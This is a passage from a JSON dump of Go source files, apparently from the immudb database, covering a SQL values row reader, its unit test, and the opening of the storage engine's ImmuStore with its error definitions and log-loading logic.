([]ColDescriptor, error) {\n\treturn vr.colsByPos, nil\n}\n\nfunc (vr *valuesRowReader) colsBySelector(ctx context.Context) (map[string]ColDescriptor, error) {\n\treturn vr.colsBySel, nil\n}\n\nfunc (vr *valuesRowReader) InferParameters(ctx context.Context, params map[string]SQLValueType) error {\n\tfor _, vs := range vr.values {\n\t\tfor _, v := range vs {\n\t\t\t_, err := v.inferType(vr.colsBySel, params, vr.tableAlias)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (vr *valuesRowReader) Read(ctx context.Context) (*Row, error) {\n\tif vr.read == len(vr.values) {\n\t\treturn nil, ErrNoMoreRows\n\t}\n\n\tvs := vr.values[vr.read]\n\n\tvaluesByPosition := make([]TypedValue, len(vs))\n\tvaluesBySelector := make(map[string]TypedValue, len(vs))\n\n\tfor i, v := range vs {\n\t\tsv, err := v.substitute(vr.params)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\trv, err := sv.reduce(vr.tx, nil, vr.tableAlias)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif vr.checkTypes {\n\t\t\terr = rv.requiresType(vr.colsByPos[i].Type, vr.colsBySel, nil, vr.tableAlias)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tvaluesByPosition[i] = rv\n\t\tvaluesBySelector[vr.colsByPos[i].Selector()] = rv\n\t}\n\n\trow := &Row{\n\t\tValuesByPosition: valuesByPosition,\n\t\tValuesBySelector: valuesBySelector,\n\t}\n\n\tvr.read++\n\n\treturn row, nil\n}\n\nfunc (vr *valuesRowReader) Close() error {\n\tif vr.closed {\n\t\treturn ErrAlreadyClosed\n\t}\n\n\tvr.closed = true\n\n\tif vr.onCloseCallback != nil {\n\t\tvr.onCloseCallback()\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/sql/values_row_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestValuesRowReader(t *testing.T) {\n\t_, err := NewValuesRowReader(nil, nil, nil, true, \"\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tcols := []ColDescriptor{\n\t\t{Column: \"col1\"},\n\t}\n\n\t_, err = NewValuesRowReader(nil, nil, cols, true, \"\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = NewValuesRowReader(nil, nil, cols, true, \"\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = NewValuesRowReader(nil, nil, cols, true, \"table1\", nil)\n\trequire.NoError(t, err)\n\n\t_, err = NewValuesRowReader(nil, nil, cols, true, \"table1\",\n\t\t[][]ValueExp{\n\t\t\t{\n\t\t\t\t&Bool{val: true},\n\t\t\t\t&Bool{val: false},\n\t\t\t},\n\t\t})\n\trequire.ErrorIs(t, err, ErrInvalidNumberOfValues)\n\n\t_, err = NewValuesRowReader(nil, nil,\n\t\t[]ColDescriptor{\n\t\t\t{Table: \"table1\", Column: \"col1\"},\n\t\t}, true, \"\", nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\tvalues := [][]ValueExp{\n\t\t{\n\t\t\t&Bool{val: true},\n\t\t},\n\t}\n\n\tparams := map[string]interface{}{\n\t\t\"param1\": 1,\n\t}\n\n\trowReader, err := NewValuesRowReader(nil, params, cols, true, \"table1\", values)\n\trequire.NoError(t, err)\n\trequire.Nil(t, rowReader.OrderBy())\n\trequire.Nil(t, rowReader.ScanSpecs())\n\n\trequire.Equal(t, params, rowReader.Parameters())\n\n\tparamTypes := make(map[string]string)\n\terr = rowReader.InferParameters(context.Background(), paramTypes)\n\trequire.NoError(t, err)\n\n\trequire.NoError(t, rowReader.Close())\n\trequire.ErrorIs(t, rowReader.Close(), ErrAlreadyClosed)\n}\n"
  },
  {
    "path": "embedded/store/immustore.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"bytes\"\n\t\"container/list\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded\"\n\t\"github.com/codenotary/immudb/embedded/ahtree\"\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\t\"github.com/codenotary/immudb/embedded/cache\"\n\t\"github.com/codenotary/immudb/embedded/htree\"\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/embedded/multierr\"\n\t\"github.com/codenotary/immudb/embedded/tbtree\"\n\t\"github.com/codenotary/immudb/embedded/watchers\"\n\t\"github.com/codenotary/immudb/pkg/helpers/semaphore\"\n\t\"github.com/codenotary/immudb/pkg/helpers/slices\"\n)\n\nvar ErrIllegalArguments = embedded.ErrIllegalArguments\nvar ErrInvalidOptions = fmt.Errorf(\"%w: invalid options\", ErrIllegalArguments)\nvar ErrAlreadyClosed = embedded.ErrAlreadyClosed\nvar ErrUnexpectedLinkingError = errors.New(\"internal inconsistency between linear and binary linking\")\nvar ErrNoEntriesProvided = errors.New(\"no entries provided\")\nvar ErrWriteOnlyTx = errors.New(\"write-only transaction\")\nvar ErrReadOnlyTx = errors.New(\"read-only transaction\")\nvar ErrTxReadConflict = errors.New(\"tx read conflict\")\nvar ErrTxAlreadyCommitted = errors.New(\"tx already committed\")\nvar ErrMaxTxEntriesLimitExceeded = errors.New(\"max number of entries per tx exceeded\")\nvar ErrNullKey = errors.New(\"null key\")\nvar ErrMaxKeyLenExceeded = errors.New(\"max key length exceeded\")\nvar ErrMaxValueLenExceeded = errors.New(\"max value length exceeded\")\nvar ErrPreconditionFailed = errors.New(\"precondition failed\")\nvar ErrDuplicatedKey = errors.New(\"duplicated key\")\nvar ErrCannotUpdateKeyTransiency = errors.New(\"cannot change a non-transient key to transient or vice versa\")\nvar ErrMaxActiveTransactionsLimitExceeded = errors.New(\"max active transactions limit exceeded\")\nvar ErrMVCCReadSetLimitExceeded = errors.New(\"MVCC read-set limit exceeded\")\nvar ErrMaxConcurrencyLimitExceeded = errors.New(\"max concurrency limit exceeded\")\nvar ErrMaxIndexersLimitExceeded = errors.New(\"max indexers limit exceeded\")\nvar ErrPathIsNotADirectory = errors.New(\"path is not a directory\")\nvar ErrCorruptedTxData = errors.New(\"tx data is corrupted\")\nvar ErrCorruptedTxDataMaxTxEntriesExceeded = fmt.Errorf(\"%w: maximum number of TX entries exceeded\", ErrCorruptedTxData)\nvar ErrTxEntryIndexOutOfRange = errors.New(\"tx entry index out of range\")\nvar ErrCorruptedTxDataUnknownHeaderVersion = fmt.Errorf(\"%w: unknown TX header version\", ErrCorruptedTxData)\nvar ErrCorruptedTxDataMaxKeyLenExceeded = fmt.Errorf(\"%w: maximum key length exceeded\", ErrCorruptedTxData)\nvar ErrCorruptedTxDataDuplicateKey = fmt.Errorf(\"%w: duplicate key in a single TX\", ErrCorruptedTxData)\nvar ErrCorruptedData = errors.New(\"data is corrupted\")\nvar ErrCorruptedCLog = errors.New(\"commit-log is corrupted\")\nvar ErrCorruptedIndex = errors.New(\"corrupted index\")\nvar ErrTxSizeGreaterThanMaxTxSize = errors.New(\"tx size greater than max tx size\")\nvar ErrCorruptedAHtree = errors.New(\"appendable hash tree is corrupted\")\nvar ErrKeyNotFound = tbtree.ErrKeyNotFound // TODO: define error in store layer\nvar ErrExpiredEntry = fmt.Errorf(\"%w: expired entry\", ErrKeyNotFound)\nvar ErrKeyAlreadyExists = errors.New(\"key already exists\")\nvar ErrTxNotFound = errors.New(\"tx not found\")\nvar ErrNoMoreEntries = tbtree.ErrNoMoreEntries       // TODO: define error in store layer\nvar ErrIllegalState = tbtree.ErrIllegalState         // TODO: define error in store layer\nvar ErrOffsetOutOfRange = tbtree.ErrOffsetOutOfRange // TODO: define error in store layer\nvar ErrUnexpectedError = errors.New(\"unexpected error\")\nvar ErrUnsupportedTxVersion = errors.New(\"unsupported tx version\")\nvar ErrNewerVersionOrCorruptedData = errors.New(\"tx created with a newer version or data is corrupted\")\nvar ErrTxPoolExhausted = errors.New(\"transaction pool exhausted\")\n\nvar ErrInvalidPrecondition = errors.New(\"invalid precondition\")\nvar ErrInvalidPreconditionTooMany = fmt.Errorf(\"%w: too many preconditions\", ErrInvalidPrecondition)\nvar ErrInvalidPreconditionNull = fmt.Errorf(\"%w: null\", ErrInvalidPrecondition)\nvar ErrInvalidPreconditionNullKey = fmt.Errorf(\"%w: %v\", ErrInvalidPrecondition, ErrNullKey)\nvar ErrInvalidPreconditionMaxKeyLenExceeded = fmt.Errorf(\"%w: %v\", ErrInvalidPrecondition, ErrMaxKeyLenExceeded)\nvar ErrInvalidPreconditionInvalidTxID = fmt.Errorf(\"%w: invalid transaction ID\", ErrInvalidPrecondition)\n\nvar ErrSourceTxNewerThanTargetTx = fmt.Errorf(\"%w: source tx is newer than target tx\", ErrIllegalArguments)\n\nvar ErrCompactionDisabled = errors.New(\"compaction is disabled\")\n\nvar ErrMetadataUnsupported = errors.New(\n\t\"metadata is unsupported when in 1.1 compatibility mode, \" +\n\t\t\"do not use metadata-related features such as expiration and logical deletion\",\n)\n\nvar ErrUnsupportedTxHeaderVersion = errors.New(\"missing tx header serialization method\")\nvar ErrIllegalTruncationArgument = fmt.Errorf(\"%w: invalid truncation info\", ErrIllegalArguments)\nvar ErrTruncationInfoNotPresentInMetadata = errors.New(\"truncation info not present in metadata\")\n\nvar ErrInvalidProof = errors.New(\"invalid proof\")\n\nvar ErrIndexNotFound = errors.New(\"index not found\")\nvar ErrIndexAlreadyInitialized = errors.New(\"index already initialized\")\n\nconst MaxKeyLen = 1024 // assumed to be not lower than hash size\nconst MaxParallelIO = 127\n\nconst cLogEntrySizeV1 = offsetSize + lszSize               // tx offset + hdr size\nconst cLogEntrySizeV2 = offsetSize + lszSize + sha256.Size // tx offset + hdr size + alh\n\nconst txIDSize = 8\nconst tsSize = 8\nconst lszSize = 4\nconst sszSize = 2\nconst offsetSize = 8\n\n// Version 2 includes `metaEmbeddedValues` and `metaPreallocFiles` into clog metadata\nconst Version = 2\n\nconst MaxTxHeaderVersion = 1\n\nconst (\n\tmetaVersion        = \"VERSION\"\n\tmetaMaxTxEntries   = \"MAX_TX_ENTRIES\"\n\tmetaMaxKeyLen      = \"MAX_KEY_LEN\"\n\tmetaMaxValueLen    = \"MAX_VALUE_LEN\"\n\tmetaFileSize       = \"FILE_SIZE\"\n\tmetaEmbeddedValues = \"EMBEDDED_VALUES\"\n\tmetaPreallocFiles  = \"PREALLOC_FILES\"\n)\n\nconst indexDirname = \"index\"\nconst ahtDirname = \"aht\"\n\ntype ImmuStore struct {\n\tpath string\n\n\tlogger           logger.Logger\n\tlastNotification time.Time\n\tnotifyMutex      sync.Mutex\n\n\tvLogs            map[byte]*refVLog\n\tvLogUnlockedList *list.List\n\tvLogsCond        *sync.Cond\n\n\tvLogCache *cache.Cache\n\n\ttxLog      appendable.Appendable\n\ttxLogCache *cache.Cache\n\n\tcLog          appendable.Appendable\n\tcLogEntrySize int\n\n\tcLogBuf *precommitBuffer\n\n\tcommittedTxID uint64\n\tcommittedAlh  [sha256.Size]byte\n\n\tinmemPrecommittedTxID uint64\n\tinmemPrecommittedAlh  [sha256.Size]byte\n\n\tprecommittedTxLogSize int64\n\n\tmandatoryMVCCUpToTxID uint64\n\n\tcommitStateRWMutex sync.RWMutex\n\n\tembeddedValues        bool\n\tpreallocFiles         bool\n\treadOnly              bool\n\tsynced                bool\n\tsyncFrequency         time.Duration\n\tmaxActiveTransactions int\n\tmvccReadSetLimit      int\n\tmaxWaitees            int\n\tmaxConcurrency        int\n\tmaxIOConcurrency      int\n\tmaxTxEntries          int\n\tmaxKeyLen             int\n\tmaxValueLen           int\n\n\twriteTxHeaderVersion int\n\n\ttimeFunc      TimeFunc\n\tmultiIndexing bool\n\n\tuseExternalCommitAllowance bool\n\tcommitAllowedUpToTxID      uint64\n\n\ttxPool TxPool\n\n\twaiteesMutex sync.Mutex\n\twaiteesCount int // current number of go-routines waiting for a tx to be indexed or committed\n\n\t_txbs     []byte                   // pre-allocated buffer to support tx serialization\n\t_valBs    [DefaultMaxValueLen]byte // pre-allocated buffer to support tx exportation\n\t_valBsMux sync.Mutex\n\n\taht                  *ahtree.AHtree\n\tinmemPrecommitWHub   *watchers.WatchersHub\n\tdurablePrecommitWHub *watchers.WatchersHub\n\tcommitWHub           *watchers.WatchersHub\n\n\tindexers      map[[sha256.Size]byte]*indexer\n\tnextIndexerID uint64\n\tindexCache    *cache.Cache\n\n\tmemSemaphore *semaphore.Semaphore // used by indexers to control amount acquired of memory\n\tindexersMux  sync.RWMutex\n\n\topts *Options\n\n\tclosed bool\n\n\tmutex sync.Mutex\n\n\tcompactionDisabled bool\n}\n\ntype refVLog struct {\n\tvLog        appendable.Appendable\n\tunlockedRef *list.Element // unlockedRef == nil <-> vLog is locked\n}\n\nfunc Open(path string, opts *Options) (*ImmuStore, error) {\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: %v\", ErrIllegalArguments, err)\n\t}\n\n\tfinfo, err := os.Stat(path)\n\tif err != nil {\n\t\tif !os.IsNotExist(err) {\n\t\t\treturn nil, err\n\t\t}\n\n\t\terr := os.Mkdir(path, opts.FileMode)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t} else if !finfo.IsDir() {\n\t\treturn nil, ErrPathIsNotADirectory\n\t}\n\n\tmetadata := appendable.NewMetadata(nil)\n\tmetadata.PutInt(metaVersion, Version)\n\tmetadata.PutBool(metaEmbeddedValues, opts.EmbeddedValues)\n\tmetadata.PutBool(metaPreallocFiles, opts.PreallocFiles)\n\tmetadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries)\n\tmetadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen)\n\tmetadata.PutInt(metaMaxValueLen, opts.MaxValueLen)\n\tmetadata.PutInt(metaFileSize, opts.FileSize)\n\n\tappendableOpts := multiapp.DefaultOptions().\n\t\tWithReadOnly(opts.ReadOnly).\n\t\tWithWriteBufferSize(opts.WriteBufferSize).\n\t\tWithRetryableSync(opts.Synced).\n\t\tWithAutoSync(true).\n\t\tWithFileSize(opts.FileSize).\n\t\tWithFileMode(opts.FileMode).\n\t\tWithMetadata(metadata.Bytes())\n\n\tappFactory := opts.appFactory\n\tif appFactory == nil {\n\t\tappFactory = func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\tpath := filepath.Join(rootPath, subPath)\n\t\t\treturn multiapp.Open(path, opts)\n\t\t}\n\t}\n\n\tappendableOpts.WithFileExt(\"tx\")\n\tappendableOpts.WithPrealloc(opts.PreallocFiles)\n\tappendableOpts.WithCompressionFormat(appendable.NoCompression)\n\tappendableOpts.WithMaxOpenedFiles(opts.TxLogMaxOpenedFiles)\n\ttxLog, err := appFactory(path, \"tx\", appendableOpts)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to open transaction log: %w\", err)\n\t}\n\n\tmetadata = appendable.NewMetadata(txLog.Metadata())\n\n\tembeddedValues, ok := metadata.GetBool(metaEmbeddedValues)\n\tembeddedValues = ok && embeddedValues\n\n\tpreallocFiles, ok := metadata.GetBool(metaPreallocFiles)\n\tpreallocFiles = ok && preallocFiles\n\n\tappendableOpts.WithFileExt(\"txi\")\n\tappendableOpts.WithFileSize(opts.FileSize)\n\tappendableOpts.WithPrealloc(preallocFiles)\n\tappendableOpts.WithCompressionFormat(appendable.NoCompression)\n\tappendableOpts.WithMaxOpenedFiles(opts.CommitLogMaxOpenedFiles)\n\tcLog, err := appFactory(path, \"commit\", appendableOpts)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"unable to open commit-log: %w\", err)\n\t}\n\n\tvar vLogs []appendable.Appendable\n\n\tif !embeddedValues {\n\t\tvLogs = make([]appendable.Appendable, opts.MaxIOConcurrency)\n\t\tappendableOpts.WithFileExt(\"val\")\n\t\tappendableOpts.WithFileSize(opts.FileSize)\n\t\tappendableOpts.WithPrealloc(false)\n\t\tappendableOpts.WithCompressionFormat(opts.CompressionFormat)\n\t\tappendableOpts.WithCompresionLevel(opts.CompressionLevel)\n\t\tappendableOpts.WithMaxOpenedFiles(opts.VLogMaxOpenedFiles)\n\n\t\tfor i := 0; i < opts.MaxIOConcurrency; i++ {\n\t\t\tvLog, err := appFactory(path, fmt.Sprintf(\"val_%d\", i), appendableOpts)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tvLogs[i] = vLog\n\t\t}\n\t}\n\n\treturn OpenWith(path, vLogs, txLog, cLog, opts)\n}\n\nfunc OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable.Appendable, opts *Options) (*ImmuStore, error) {\n\tif txLog == nil || cLog == nil {\n\t\treturn nil, fmt.Errorf(\"%w: invalid txLog or cLog\", ErrIllegalArguments)\n\t}\n\n\terr := opts.Validate()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"%w: %s\", ErrIllegalArguments, err)\n\t}\n\n\tmetadata := appendable.NewMetadata(cLog.Metadata())\n\n\tversion, ok := metadata.GetInt(metaVersion)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"Version\")\n\t}\n\n\tvar cLogEntrySize int\n\n\tif version <= 1 {\n\t\tcLogEntrySize = cLogEntrySizeV1\n\t} else {\n\t\tcLogEntrySize = cLogEntrySizeV2\n\t}\n\n\tembeddedValues, ok := metadata.GetBool(metaEmbeddedValues)\n\tif !ok {\n\t\tif version >= 2 {\n\t\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"EmbeddedValues\")\n\t\t}\n\n\t\tembeddedValues = false\n\t}\n\n\tpreallocFiles, ok := metadata.GetBool(metaPreallocFiles)\n\tif !ok {\n\t\tif version >= 2 {\n\t\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"PreallocFiles\")\n\t\t}\n\n\t\tpreallocFiles = false\n\t}\n\n\tif (len(vLogs) == 0 && !embeddedValues) || (len(vLogs) != 0 && embeddedValues) {\n\t\treturn nil, fmt.Errorf(\"%w: invalid vLogs\", ErrIllegalArguments)\n\t}\n\n\tfileSize, ok := metadata.GetInt(metaFileSize)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"FileSize\")\n\t}\n\n\tmaxTxEntries, ok := metadata.GetInt(metaMaxTxEntries)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"MaxTxEntries\")\n\t}\n\n\tmaxKeyLen, ok := metadata.GetInt(metaMaxKeyLen)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"MaxKeyLen\")\n\t}\n\n\tmaxValueLen, ok := metadata.GetInt(metaMaxValueLen)\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"%w: can not read '%s' from metadata\", ErrCorruptedCLog, \"MaxValueLen\")\n\t}\n\n\tcLogSize, err := cLog.Size()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"corrupted commit-log: could not get size: %w\", err)\n\t}\n\n\tif !preallocFiles {\n\t\trem := cLogSize % int64(cLogEntrySize)\n\t\tif rem > 0 {\n\t\t\tcLogSize -= rem\n\t\t\terr = cLog.SetOffset(cLogSize)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"corrupted commit log: could not set offset: %w\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tif preallocFiles {\n\t\tif cLogSize == 0 {\n\t\t\treturn nil, fmt.Errorf(\"corrupted commit log: file should not be empty when file preallocation is enabled\")\n\t\t}\n\n\t\t// find the last non-zeroed clogEntry\n\t\tleft := int64(1)\n\t\tright := cLogSize / int64(cLogEntrySize)\n\n\t\tb := make([]byte, cLogEntrySize)\n\t\tzeroed := make([]byte, cLogEntrySize)\n\n\t\tfor left < right {\n\t\t\tmiddle := left + ((right-left)+1)/2\n\n\t\t\t_, err := cLog.ReadAt(b, (middle-1)*int64(cLogEntrySize))\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"corrupted commit log: could not read the last commit: %w\", err)\n\t\t\t}\n\n\t\t\tif bytes.Equal(b, zeroed) {\n\t\t\t\t// if cLogEntry is zeroed it's considered as preallocated\n\t\t\t\tright = middle - 1\n\t\t\t} else {\n\t\t\t\tleft = middle\n\t\t\t}\n\t\t}\n\n\t\t_, err := cLog.ReadAt(b, (left-1)*int64(cLogEntrySize))\n\t\tif err != nil && !errors.Is(err, io.EOF) {\n\t\t\treturn nil, fmt.Errorf(\"corrupted commit log: could not read the last commit: %w\", err)\n\t\t}\n\n\t\tif bytes.Equal(b, zeroed) {\n\t\t\tcLogSize = 0\n\t\t} else {\n\t\t\tcLogSize = left * int64(cLogEntrySize)\n\t\t}\n\t}\n\n\tvar committedTxLogSize int64\n\tvar committedTxOffset int64\n\tvar committedTxSize int\n\n\tvar committedTxID uint64\n\n\tcommittedAlh := sha256.Sum256(nil)\n\n\tif cLogSize > 0 {\n\t\tb := make([]byte, cLogEntrySize)\n\n\t\t_, err := cLog.ReadAt(b[:], cLogSize-int64(cLogEntrySize))\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"corrupted commit-log: could not read the last commit: %w\", err)\n\t\t}\n\n\t\tcommittedTxOffset = int64(binary.BigEndian.Uint64(b[:]))\n\t\tcommittedTxSize = int(binary.BigEndian.Uint32(b[txIDSize:]))\n\t\tcommittedTxLogSize = committedTxOffset + int64(committedTxSize)\n\t\tcommittedTxID = uint64(cLogSize) / uint64(cLogEntrySize)\n\n\t\tif cLogEntrySize == cLogEntrySizeV2 {\n\t\t\tcopy(committedAlh[:], b[txIDSize+lszSize:])\n\t\t}\n\n\t\ttxLogFileSize, err := txLog.Size()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"corrupted transaction log: could not get size: %w\", err)\n\t\t}\n\n\t\tif txLogFileSize < committedTxLogSize {\n\t\t\treturn nil, fmt.Errorf(\"corrupted transaction log: size is too small: %w\", ErrCorruptedTxData)\n\t\t}\n\t}\n\n\ttxPool, err := newTxPool(txPoolOptions{\n\t\tpoolSize:     opts.MaxConcurrency,\n\t\tmaxTxEntries: maxTxEntries,\n\t\tmaxKeyLen:    maxKeyLen,\n\t\tpreallocated: true,\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid configuration, couldn't initialize transaction holder pool\")\n\t}\n\n\tmaxTxSize := maxTxSize(maxTxEntries, maxKeyLen, maxTxMetadataLen, maxKVMetadataLen)\n\ttxbs := make([]byte, maxTxSize)\n\n\tif cLogSize > 0 {\n\t\ttxReader := appendable.NewReaderFrom(txLog, committedTxOffset, committedTxSize)\n\n\t\ttx, _ := txPool.Alloc()\n\n\t\terr = tx.readFrom(txReader, false)\n\t\tif err != nil {\n\t\t\ttxPool.Release(tx)\n\t\t\treturn nil, fmt.Errorf(\"corrupted transaction log: could not read the last transaction: %w\", err)\n\t\t}\n\n\t\ttxPool.Release(tx)\n\n\t\tif cLogEntrySize == cLogEntrySizeV1 {\n\t\t\tcommittedAlh = tx.header.Alh()\n\t\t}\n\n\t\tif cLogEntrySize == cLogEntrySizeV2 {\n\t\t\tif committedAlh != tx.header.Alh() {\n\t\t\t\treturn nil, fmt.Errorf(\"corrupted transaction log: digest mismatch in the last transaction: %w\", err)\n\t\t\t}\n\t\t}\n\t}\n\n\tcLogBuf := newPrecommitBuffer(opts.MaxActiveTransactions)\n\n\tprecommittedTxID := committedTxID\n\tprecommittedAlh := committedAlh\n\tprecommittedTxLogSize := committedTxLogSize\n\n\t// read pre-committed txs from txLog and insert into cLogBuf to continue with the commit process\n\t// txLog may be partially written, precommitted transactions loading is terminated if an inconsistency is found\n\ttxReader := appendable.NewReaderFrom(txLog, precommittedTxLogSize, multiapp.DefaultReadBufferSize)\n\n\ttx, _ := txPool.Alloc()\n\n\tfor {\n\t\terr = tx.readFrom(txReader, false)\n\t\tif errors.Is(err, io.EOF) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\topts.logger.Infof(\"%v: discarding pre-committed transaction: %d\", err, precommittedTxID+1)\n\t\t\tbreak\n\t\t}\n\n\t\tif tx.header.ID != precommittedTxID+1 || tx.header.PrevAlh != precommittedAlh {\n\t\t\topts.logger.Infof(\"%v: discarding pre-committed transaction: %d\", ErrCorruptedData, precommittedTxID+1)\n\t\t\tbreak\n\t\t}\n\n\t\tprecommittedTxID++\n\t\tprecommittedAlh = tx.header.Alh()\n\n\t\ttxSize := int(txReader.ReadCount() - (precommittedTxLogSize - committedTxLogSize))\n\n\t\terr = cLogBuf.put(precommittedTxID, precommittedAlh, precommittedTxLogSize, txSize)\n\t\tif err != nil {\n\t\t\ttxPool.Release(tx)\n\t\t\treturn nil, fmt.Errorf(\"%v: while loading pre-committed transaction: %v\", err, precommittedTxID+1)\n\t\t}\n\n\t\tprecommittedTxLogSize += int64(txSize)\n\t}\n\n\ttxPool.Release(tx)\n\n\tvLogsMap := make(map[byte]*refVLog, len(vLogs))\n\tvLogUnlockedList := list.New()\n\n\tfor i, vLog := range vLogs {\n\t\te := vLogUnlockedList.PushBack(byte(i))\n\t\tvLogsMap[byte(i)] = &refVLog{vLog: vLog, unlockedRef: e}\n\t}\n\n\tvar vLogCache *cache.Cache\n\n\tif opts.VLogCacheSize > 0 {\n\t\tvLogCache, err = cache.NewCache(opts.VLogCacheSize)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tahtPath := filepath.Join(path, ahtDirname)\n\n\tahtOpts := ahtree.DefaultOptions().\n\t\tWithReadOnly(opts.ReadOnly).\n\t\tWithFileMode(opts.FileMode).\n\t\tWithFileSize(fileSize).\n\t\tWithRetryableSync(opts.Synced).\n\t\tWithAutoSync(true).\n\t\tWithWriteBufferSize(opts.AHTOpts.WriteBufferSize).\n\t\tWithSyncThld(opts.AHTOpts.SyncThld)\n\n\tif opts.appFactory != nil {\n\t\tahtOpts.WithAppFactory(func(rootPath, subPath string, appOpts *multiapp.Options) (appendable.Appendable, error) {\n\t\t\treturn opts.appFactory(path, filepath.Join(ahtDirname, subPath), appOpts)\n\t\t})\n\t}\n\n\taht, err := ahtree.Open(ahtPath, ahtOpts)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"could not open aht: %w\", err)\n\t}\n\n\ttxLogCache, err := cache.NewCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tstore := &ImmuStore{\n\t\tpath:             path,\n\t\tlogger:           opts.logger,\n\t\ttxLog:            txLog,\n\t\ttxLogCache:       txLogCache,\n\t\tvLogs:            vLogsMap,\n\t\tvLogUnlockedList: vLogUnlockedList,\n\t\tvLogsCond:        sync.NewCond(&sync.Mutex{}),\n\t\tvLogCache:        vLogCache,\n\n\t\tcLog:          cLog,\n\t\tcLogEntrySize: cLogEntrySize,\n\n\t\tcLogBuf: cLogBuf,\n\n\t\tcommittedTxID: committedTxID,\n\t\tcommittedAlh:  committedAlh,\n\n\t\tinmemPrecommittedTxID: precommittedTxID,\n\t\tinmemPrecommittedAlh:  precommittedAlh,\n\t\tprecommittedTxLogSize: precommittedTxLogSize,\n\n\t\tembeddedValues: embeddedValues,\n\t\tpreallocFiles:  preallocFiles,\n\n\t\treadOnly:              opts.ReadOnly,\n\t\tsynced:                opts.Synced,\n\t\tsyncFrequency:         opts.SyncFrequency,\n\t\tmaxActiveTransactions: opts.MaxActiveTransactions,\n\t\tmvccReadSetLimit:      opts.MVCCReadSetLimit,\n\t\tmaxWaitees:            opts.MaxWaitees,\n\t\tmaxConcurrency:        opts.MaxConcurrency,\n\t\tmaxIOConcurrency:      opts.MaxIOConcurrency,\n\n\t\tmaxTxEntries: maxTxEntries,\n\t\tmaxKeyLen:    maxKeyLen,\n\t\tmaxValueLen:  maxValueLen,\n\n\t\twriteTxHeaderVersion: opts.WriteTxHeaderVersion,\n\n\t\ttimeFunc:                   opts.TimeFunc,\n\t\tmultiIndexing:              opts.MultiIndexing,\n\t\tindexers:                   